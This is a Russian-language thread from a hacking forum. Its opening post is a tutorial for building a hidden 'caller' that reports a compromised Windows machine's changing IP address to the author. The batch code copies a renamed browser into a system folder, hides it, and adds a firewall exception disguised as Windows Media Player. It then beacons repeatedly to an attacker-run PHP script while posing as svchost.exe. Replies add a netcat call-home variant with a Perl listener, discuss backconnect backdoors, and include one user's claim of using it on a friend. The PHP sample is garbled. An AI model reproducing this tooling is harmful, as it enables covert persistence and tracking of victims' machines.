HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ИНФО > Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 23.06.2010, 00:58
|qbz|
Познающий
Регистрация: 25.12.2009
Сообщений: 95
С нами: 8619861

Репутация: 51
По умолчанию

В очередной раз хочу поделиться с Вами решением очень частой проблемы. Данная проблема заключается в том, чтобы узнать ИП - адрес компьютера/дедика. Нет, не просто узнать, а узнавать и иметь над этим контроль постоянно. То есть, грубо говоря, будем писать обход смены динамических IP - адресов. Как ни странно, но мы снова будем использовать связку PHP + BAT. Ну вот нехочется мне заводить таких гигантов ЯП как C или Delphi, когда можно ограничиться небольшим. Да и интереснее .

К делу.

Сначала принцип:

Работа основана на том, что после запуска какой-то софтины, она будет стучать нам на наш скрипт PHP через HTTP, а мы ловить этот IP-адрес.

Решение:

Сначала необходимо продумать чем мы будет обращатся к нашему скрипту по HTTP. Можно было бы воспользоваться телнетом, но с телнет-батниками много геморроя, так как телнет не приучен хавать команды из *.bat или *.cmd скриптов.

Тогда мы идем к дяде Google и вежливо его спрашиваем: "Консольный браузер для виндовс". Нам так же вежливо отвечают - "Есть такой, Links называется.". Значит качаем данный браузер и пугаемся - целых 2.5 мегабайта. Но это впринципе не беда. Почему? Потому что при создании из батника нашей "звонилки" будет проход через UPX, а это значит, что размер должен быть порядочно сжат. Теперь надо научиться с ним работать. Это оказалось очень легко, так как заход на определенный адрес идет в очень простом синтаксисе, а именно:

Код:
links.exe http://google.com
Теперь, создадим из всех файлов браузера - только один. С таким файлом удобнее работать.

Создание такого файла является простым - достаточно создать лоадер браузера:

Код:
"%CD%\wmiprvse.exe" %1
Где в кавычках - это путь до переименованного екзешника браузера (links.exe => wmiprvse.exe), а процент с единицей - это передача парметра открываемой страницы. Теперь компилируем данный лоадер вместе с инклудом в билд самого браузера через "Bat to Exe Converter". Данный "собранный" браузер назовем "wmipvrse.exe".

Теперь, создадим саму стучалку:

Код:
copy "%CD%\wmipvrse.exe" "%SYSTEMROOT%\Debug\wmipvrse.exe" /y
attrib "%SYSTEMROOT%\Debug\wmipvrse.exe" +h +s
netsh firewall set allowedprogram "%SYSTEMROOT%\Debug\wmipvrse.exe" WindowsMediaPlayer ENABLE
:rep
taskkill /f /IM wmipvrse.exe
taskkill /f /IM wmiprvse.exe
start %SYSTEMROOT%\Debug\wmipvrse.exe %1
ping -n 1 -w 10000 0.0.0.1
goto :rep
Работа очень проста:

сперва мы скопируем сам браузер в системную папочку,

далее сделаем ее системно-скрытой,

добавим браузер в исключения файрволла,

а потом по кругу, с паузой в 10 секунд (обеспечивает проверка пинга), вызываем наш браузер, и тут же его убиваем (перед следующим запуском, то есть у нас есть 10 секунд, чтобы достучатся до нашего скрипта).

Тем самым, у нас есть два файла - браузер & батник, обеспечивающий его работу.

Теперь вооружимся компилятором бат-файлов (его можно найти здесь - /thread175086.html) и компилируем данный скрипт, с параметрами:

Код:
- Invisible application
- Temporary directory
- Delete at exit
- Overwrite existing files
также не забываем добавить в билд сам браузер (wmipvrse.exe). Теперь достаточно переименовать сам билд в какой-нибудь svchost.exe, и запустить его примерно так:

Код:
svchost.exe http://lovim-ip.ru/ip.php
Пример самого скрипта PHP, ловящего IP (записывает в файл "ip.html"):

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
Тайм-аут соединения со скриптом редактируем тут - "ping -n 1 -w 10000 0.0.0.1", где 10000 равно 10секундам.

Браузер "Links" (собранный в один файл и не собранный) - Links.zip

Готовая "звонилка" - Svchost.exe

(запуск: svchost.exe http://adres-php-skripta.com/skript.php)
 
Ответить с цитированием

  #2  
Старый 23.06.2010, 01:12
warwar
Участник форума
Регистрация: 26.05.2009
Сообщений: 219
С нами: 8926788

Репутация: 110
По умолчанию

Не проще залить бекдор с бекконектом?

Чем браузеры всякие качать на машину?
 
Ответить с цитированием

  #3  
Старый 23.06.2010, 01:21
|qbz|
Познающий
Регистрация: 25.12.2009
Сообщений: 95
С нами: 8619861

Репутация: 51
По умолчанию

согласен, что это быстрее. но так как процент бекдоров с бекконнектом очень мал, и я не хотел инфицировать машину, а решить конкретно эту проблему - это выход.
 
Ответить с цитированием

  #4  
Старый 23.06.2010, 01:54
noxjoker
Познающий
Регистрация: 07.08.2009
Сообщений: 85
С нами: 8821178

Репутация: 53
По умолчанию

Цитата:
Сообщение от None  
Не проще залить бекдор с бекконектом?
Чем браузеры всякие качать на машину?
+1

Цитата:
Сообщение от None  
согласен, что это быстрее. но так как процент бекдоров с бекконнектом очень мал, и я не хотел инфицировать машину, а решить конкретно эту проблему - это выход.
Тебе показать бекдор с бекконектом?
 
Ответить с цитированием

  #5  
Старый 23.06.2010, 02:00
slashd
Новичок
Регистрация: 03.09.2008
Сообщений: 16
С нами: 9308554

Репутация: 6
По умолчанию

Можно было бы использовать вместо браузера netcat. Главный плюс - он весит всего 60кб, а в качестве флага исп-ть конект на порт 8888.

Код:
nc.exe lovim-ip.ru 8888
На сервере написать простую прогу висящую на 8888 порту

Код:
#!/usr/bin/perl
use strict;
use IO::Socket;
my $sock = IO::Socket::INET->new(LocalPort => 8888,
Listen     => 20,
Proto      => 'tcp' # а можно и udp
Reuse     => 1,
Timeout  => 3600 );
while (1) {
next unless my $sess = $sock->accpet;
my $ip = $sess->peeraddr;
print "IPaddr -> $ip\n";
shutdown $sess;
}
если работать через udp, то netcat надо запускать c опцией '-u'
 
Ответить с цитированием

  #6  
Старый 23.06.2010, 02:29
|qbz|
Познающий
Регистрация: 25.12.2009
Сообщений: 95
С нами: 8619861

Репутация: 51
По умолчанию

Цитата:
Сообщение от None  
Можно было бы использовать вместо браузера netcat. Главный плюс - он весит всего 60кб, а в качестве флага исп-ть конект на порт 8888.
тоже вариант. впринципе все это решается в любом случае сторонними программами/утилитами/троями итд. я показал один из вариантов.
 
Ответить с цитированием

  #7  
Старый 29.06.2010, 16:27
Kabare
Новичок
Регистрация: 05.04.2026
Сообщений: 0
С нами: 58817

Репутация: 0
По умолчанию

отличная статья.

друга только что им ломанул
 
Ответить с цитированием

  #8  
Старый 29.06.2010, 16:44
warwar
Участник форума
Регистрация: 26.05.2009
Сообщений: 219
С нами: 8926788

Репутация: 110
По умолчанию

Цитата:
Сообщение от |qbz|  
согласен, что это быстрее. но так как процент бекдоров с бекконнектом очень мал, и я не хотел инфицировать машину, а решить конкретно эту проблему - это выход.
Не согласен. В паблике море бекдоров с бекконектом.
 
Ответить с цитированием

  #9  
Старый 29.06.2010, 17:09
|qbz|
Познающий
Регистрация: 25.12.2009
Сообщений: 95
С нами: 8619861

Репутация: 51
По умолчанию

Цитата:
Сообщение от None  
Не согласен. В паблике море бекдоров с бекконектом.
возможно. если у тя есть сорцы какого-нить, то интересно посмотреть.
 
Ответить с цитированием

  #10  
Старый 01.07.2010, 00:00
Engineer
Познающий
Регистрация: 22.05.2009
Сообщений: 59
С нами: 8932524

Репутация: 5
По умолчанию

Мне тоже! Сорцы так просто не достать!
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.